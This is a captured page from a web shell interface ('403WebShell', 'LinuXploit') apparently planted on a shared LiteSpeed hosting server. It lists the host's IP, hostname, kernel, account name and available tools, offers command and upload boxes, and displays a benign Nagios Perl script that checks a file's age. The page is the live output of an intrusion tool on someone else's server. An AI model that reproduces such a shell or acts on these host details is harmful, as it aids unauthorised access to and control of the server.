Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.133.153.232
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/nccustom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/nccustom/check_pem_worker.pl
#!/usr/bin/perl
BEGIN {
    push @INC, '/var/cpanel/perl5/lib';
}
use strict;
use warnings FATAL => 'all';
# UNCOMMENT if run from root !!!
# use NcCustomHooks::SSL_PEM_GENERATOR;
use Data::Dumper;
# my $check_sample = NcCustomHooks::SSL_PEM_GENERATOR->get_check_file_path();
my $check_sample = '/tmp/pem_worker_test.tmp';
my %sample_info = ();
 
($sample_info{'dev'},$sample_info{'ino'},$sample_info{'mode'},$sample_info{'nlink'},
$sample_info{'uid'},$sample_info{'gid'},$sample_info{'rdev'},$sample_info{'size'},$sample_info{'atime'},
$sample_info{'mtime'},$sample_info{'ctime'},$sample_info{'blksize'},
$sample_info{'blocks'}) = stat("$check_sample") or print "Error: Can't open file $check_sample\n" and exit 2;

my $time_now = time;
my $treschold = 20;
if (($time_now - $sample_info{'mtime'}) > $treschold){
    print "Error: Check pem-queue-worker - file $check_sample is too old ! \n" and exit 2;
}
print "OK\n" and exit;

Youez - 2016 - github.com/yon3zu
LinuXploit